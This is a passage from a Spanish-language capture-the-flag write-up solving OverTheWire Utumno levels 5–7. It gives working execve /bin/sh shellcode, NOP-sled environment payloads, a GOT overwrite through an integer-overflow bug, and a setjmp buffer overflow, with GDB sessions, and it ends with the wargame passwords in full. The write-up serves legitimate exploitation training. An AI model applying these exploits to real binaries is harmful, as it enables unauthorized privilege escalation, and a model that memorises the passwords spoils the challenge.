      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
        NULL
        };
        execve("/utumno/utumno5", arg, env);
    }

    Finalmente, solo queda ejecutarlo y obtendríamos nuestra shell.

    utumno5@utumno:/tmp/Marmeus$ gcc -m32 E5.c -o E5
    utumno5@utumno:/tmp/Marmeus$ ./E5
    Here we go - AAAABBBBCCCCDDDD
    $ id
    uid=16005(utumno5) gid=16005(utumno5) euid=16006(utumno6) groups=16005(utumno5)
    $ cat /etc/utumno_pass/utumno6
    eiluquieth
    

    Level 6

    En el level 6 son necesarios 3 valores, los cuales son tratados de maneras diferentes.

    utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6
    Missing args
    utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6 A B C
    Table position 0 has value 11
    Description: C
    utumno6@utumno:/tmp/Marmeus$ ltrace /utumno/utumno6 A B C
    __libc_start_main(0x80484db, 4, 0xffffd764, 0x80485b0 <unfinished ...>
    malloc(32) = 0x804a008
    strtoul(0xffffd8a4, 0, 16, 0x804a008) = 11
    strtoul(0xffffd8a2, 0, 10, 0x804a008) = 0
    strcpy(0x804a008, "C") = 0x804a008
    printf("Table position %d has value %d\nD"..., 0, 11, "C"Table position 0 has value 11
    Description: C)                                                                                       = 45
    +++ exited (status 0) +++

    Empleando Ghidra podemos ver que el programa pide como el programa comprueba si ha recibido 3 argumentos. En caso afirmativo, reserva 32 bytes en el heap, almacenando la dirección de memoria en el atributo p de la estructura a. Compuesta por un vector de diez valores de tipo entero y un puntero de tipo char.

    Estructura a

    Posteriormente, a través de la función strtoul convierte el primer argumento a base 10 y el segundo argumento a base 16 (Hexadecimal)

    int main(int argc,char **argv)
    {
      ulong uVar1;
      a b;
      int pos;
      int val;
      
      if (argc < 3) {
        puts("Missing args");
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      b.p = (char *)malloc(32);
      if (b.p == (char *)0x0) {
        puts("Sorry, ran out of memory :-(");
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
        
      //The C library function unsigned long int strtoul(const char *str, char **endptr, int base) function converts the initial part of the string in str to an unsigned long int value according to the given base, which must be between 2 and 36 inclusive, or be the special value 0.
      pos = strtoul(argv[1],(char **)0x0,10);
      uVar1 = strtoul(argv[2],(char **)0x0,16);
      if (10 < pos) {
        puts("Illegal position in table, quitting..");
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      b.table[pos] = uVar1;
      strcpy(b.p,argv[3]);
      printf("Table position %d has value %d\nDescription: %s\n",pos,b.table[pos],b.p);
      return 0;
    }

    Finalmente, si la variable pos es menor que 10, se almacena el segundo argumento en la tabla de la estructura b, en la posición pos; y se copia el argumento 3 a la dirección almacenada en el atributo p, de la estructura b.

    De forma parecida al nivel anterior, si se escribe un valor negativo se produce un Integer Overflow. Esto es debido porque se esta casteando una variable de tipo unsigned long int a int, por lo que casualmente podemos sobrescribir la dirección de retorno con lo introducido como segundo argumento.

    kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Utumno$ strace ./utumno6 -1 AAAA BBBB
    [...]
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xaaaa} ---
    +++ killed by SIGSEGV +++
    Segmentation fault
    

    Sin embargo, empleando los mismos argumentos en GDB obtenemos una violación de segmento diferente.

    (gdb) start -1 AAAA BBBB
    Temporary breakpoint 1 at 0x80484e1: file utumno6.c, line 35.
    Starting program: /utumno/utumno6 -1 AAAA BBBB
    
    Temporary breakpoint 1, main (argc=4, argv=0xffffd714) at utumno6.c:35
    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0xf7e998d2 in ?? () from /lib32/libc.so.6

    Jugando un poco más con GDB, me doy cuenta de que el segundo argumento puede ser empleado para indicar donde se quiere escribir el valor del tercer argumento.

    (gdb) start -1 0xffffd704 BBBB
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Temporary breakpoint 8 at 0x80484e1: file utumno6.c, line 35.
    Starting program: /utumno/utumno6 -1 0xffffd704 BBBB
    
    Temporary breakpoint 8, main (argc=4, argv=0xffffd704) at utumno6.c:35
    (gdb) x/xw 0xffffd704
    0xffffd704:     0xffffd84d
    (gdb) b *0x804858c
    Breakpoint 9 at 0x804858c: file utumno6.c, line 63.
    (gdb) c
    Continuing.
    
    Breakpoint 9, main (argc=4, argv=0xffffd704) at utumno6.c:63
    (gdb) x/xw 0xffffd704
    0xffffd704:     0x42424242
    (gdb)

    Por tanto, podemos sobrescribir la dirección de la función printf en la tabla plt, por la dirección de nuestro shellcode que guardaremos en una variable de entorno.

    utumno6@utumno:/tmp/Marmeus$ export EGG=$(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')

    Con GDB obtenemos una dirección de nuestro "nop slide". Se ha elegido la dirección 0xffffde30.

    (gdb) b *0x80485ae
    (gdb) r 1 AAAA BBBB
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /utumno/utumno6 1 AAAA BBBB
    Table position 1 has value 43690
    Description: BBBB
    
    Breakpoint 3, 0x080485ae in main (argc=4, argv=0xffffd694) at utumno6.c:67
    (gdb) x/xw $esp
    0xffffd5ec:     0xf7e2a286
    (gdb) r -1 0xffffd5ec BBBB
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /utumno/utumno6 -1 0xffffd5ec BBBB
    
    Breakpoint 3, 0x080485ae in main (argc=0, argv=0xffffd684) at utumno6.c:67
    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x42424242
    
    (gdb) x/2000xw $esp-2000
    0xffffce20:     0x00000000      0x00000000      0xf7fd30a0      0xf7fe415e
    0xffffce30:     0xf7ffd4fc      0x0804824d      0x00000011      0xf7fd3084
    [...]
    0xffffde10:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde20:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde30:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde40:     0x90909090      0x90909090      0x90909090      0x90909090

    Además, también podemos obtener la dirección a sobrescribir de printf.

    0x80485a0 <main+197>            call   0x8048360 <printf@plt> 
    (gdb) x/i 0x8048360
    0x8048360 <printf@plt>:         jmp    DWORD PTR ds:0x80498c0 <--

    Finalmente, solo queda introducirlo todo como argumento y obtendremos nuestra shell.

    utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6 -1 0x80498c0 $(python -c 'print "\x30\xde\xff\xff"')
    $ id
    uid=16006(utumno6) gid=16006(utumno6) euid=16007(utumno7) groups=16006(utumno6)
    $ cat /etc/utumno_pass/utumno7
    totiquegae
    

    Level 7

    En el último nivel si introducimos un valor como argumento, nos muestra una cadena de caracteres, llama a la función setjmp, copia lo introducido como argumento y llama a la función longjmp.

    utumno7@utumno:/tmp/Marmeus$ /utumno/utumno7
    utumno7@utumno:/tmp/Marmeus$ /utumno/utumno7 123
    lol ulrich && fuck hector
    
    utumno7@utumno:/tmp/Marmeus$ ltrace /utumno/utumno7 123
    __libc_start_main(0x8048501, 2, 0xffffd774, 0x8048550 <unfinished ...>
    puts("lol ulrich && fuck hector"lol ulrich && fuck hector)= 26
    _setjmp(0xffffd62c, 0, 0, 0x5ff0c1e0)  = 0
    strcpy(0xffffd5ac, "123")  = 0xffffd5ac
    longjmp(0xffffd62c, 23, 0xffffd6cc, 0x80484f7 <no return ...>
    +++ exited (status 0) +++

    Empleando Ghidra, podemos ver como el primer argumento es pasado como argumento a la función vuln, que ejecuta las funcionas anteriormente mencionadas y copia el parámetro en la variable buf.

    Nota: La segunda función se ejecuta cuando se llama a jmp(0x17), pero solo se aprecia en GDB.

    int main(int argc,char **argv)
    {
      if (argc < 2) {
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      puts("lol ulrich && fuck hector");
      vuln(argv[1]);
      return 0;
    }
    
    
    int vuln(char *arg)
    {
      int iVar1;
      char buf [128];
      jmp_buf foo;
      int i;
      
      jbp = (jmp_buf *)foo;
      iVar1 = _setjmp((__jmp_buf_tag *)foo);
      if (iVar1 == 0) {
        strcpy(buf,arg);
        jmp(0x17);
      }
      return 0;
    }

    Aunque puede parecer un simple Buffer Overflow, no lo es del todo, pues las funciones setjmpy longjmp son las encargadas de guardar y restaurar el estado del programa (Los registros del programa). Por lo que complica la sobreescritura de la dirección de retorno, como se puede ver en la ejecución de GDB, ya que varían los últimos bytes de la dirección.

    (gdb) start $(python -c "print 'A'*136+'BBBB'+'CCCC'")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Temporary breakpoint 3 at 0x8048504: file utumno7.c, line 33.
    Starting program: /utumno/utumno7 $(python -c "print 'A'*136+'BBBB'+'CCCC'")
    
    Temporary breakpoint 3, main (argc=2, argv=0xffffd6c4) at utumno7.c:33
    (gdb) c
    Continuing.
    lol ulrich && fuck hector
    
    Program received signal SIGSEGV, Segmentation fault.
    0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x4343434b>) at utumno7.c:23

    Si en vez de 'C's empleamos una dirección del stack que controlamos, por el ejemplo alguna dirección dentro del buffer. Por ejemplo 0xffffd504.

    (gdb) start $(python -c "print 'A'*140+'BBBB'")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Temporary breakpoint 11 at 0x8048504: file utumno7.c, line 33.
    Starting program: /utumno/utumno7 $(python -c "print 'A'*140+'BBBB'")
    
    Temporary breakpoint 11, main (argc=2, argv=0xffffd6c4) at utumno7.c:33
    (gdb) b *0x80484ed
    Breakpoint 12 at 0x80484ed: file utumno7.c, line 25.
    (gdb) x/30xw $esp
    0xffffd4f4:     0xffffd4fc      0xffffd809      0x41414141      0x41414141
    0xffffd504:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd514:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd524:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd534:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd544:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd554:     0x41414141      0x41414141      0x41414141      0x41414141
    0xffffd564:     0x41414141      0x41414141

    Vemos que podemos acceder a nuestro buffer sin problema.

    (gdb) r $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffd504)")
    Starting program: /utumno/utumno7 $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffd504)")
    lol ulrich && fuck hector
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x41414141

    No obstante si declaramos una variable de entorno con nuestro shellcode e intentamos acceder a él directamente nos salta un error.

    utumno7@utumno:/tmp/Marmeus$ export EGG=$(python -c 'print "\x90"*100+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
    utumno7@utumno:/tmp/Marmeus$ gdb -q /utumno/utumno7
    (gdb) start
    (gdb) x/2000xw $esp-2000
    0xffffde10:     0x3836312e      0x3130312e      0x2030392e      0x45003232
    0xffffde20:     0x903d4747      0x90909090      0x90909090      0x90909090
    0xffffde30:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde40:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde50:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde60:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde70:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde80:     0x90909090      0x31909090      0x51e1f7c9      0x732f2f68
    0xffffde90:     0x622f6868      0xe3896e69      0x80cd0bb0      0x2f3d5f00
    0xffffdea0:     0x2f727375      0x2f6e6962      0x00626467      0x474e414c
    (gdb) r $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffde40)")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /utumno/utumno7 $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffde40)")
    lol ulrich && fuck hector
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x90909090

    Esto es debido a que emplea el valor de la dirección de memoria, como dirección para ejecutar la instrucción que se encuentre en esa dirección de memoria. Entonces, necesitamos escribir la dirección de memoria de nuestro shellcode en el argumento que nosotros le pasamos y obtener la dirección de memoria donde se encuentra almacenado nuestro argumento para sobrescribir la dirección de retorno.

    UtumnoLevel7

    Para poder obtener la dirección donde se almacena nuestro argumento se ha empleado ltrace (0xffffd49c).

    utumno7@utumno:/tmp/Marmeus$ ltrace /utumno/utumno7 $(python -c "from struct import pack;print 'BBBB'+pack('I',0xffffde40)+'A'*132+pack('I',0xffffff)") 
    -bash: warning: command substitution: ignored null byte in input
    __libc_start_main(0x8048501, 2, 0xffffd664, 0x8048550 <unfinished ...>
    puts("lol ulrich && fuck hector"lol ulrich && fuck hector)= 26
    _setjmp(0xffffd51c, 0, 0, 0x5ff323d9)= 0
    strcpy(0xffffd49c, "BBBB@\336\377\377AAAAAAAAAAAAAAAAAAAAAAAA"...)             = 0xffffd49c
    longjmp(0xffffd51c, 23, 0xffffd5bc, 0x80484f7 <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    

    Finalmente, una vez obtenida la dirección del comienzo de nuestro buffer solo falta ejecutarlo, obteniendo nuestra shell.

    utumno7@utumno:/tmp/Marmeus$  /utumno/utumno7 $(python -c "from struct import pack;print 'BBBB'+pack('I',0xffffde40)+'A'*132+pack('I',0xffffd49c)")                                                 
    lol ulrich && fuck hector
    $ id
    uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16007(utumno7)
    $ cat /etc/utumno_pass/utumno8
    jaeyeetiav
    

    Nota: Puede ser que tengas que jugar con los últimos bytes de la última dirección, pues los últimos bytes varían como se dijo al principio del nivel, pues a la hora de resolver el reto tuve que jugar con ellos, pero a la hora de realizar el post, me ha funcionado sin tener que modificar nada.

    Esto se debe a que la funciónsiglongjmp suma un valor aleatorio a los últimos bytes de la dirección de retorno como mecanismo de seguridad.

    Contraseñas

    0) utumno0
    1) aathaeyiew
    2) ceewaceiph
    3) zuudafiine
    4) oogieleoga
    5) woucaejiek
    6) eiluquieth
    7) totiquegae
    8) jaeyeetiav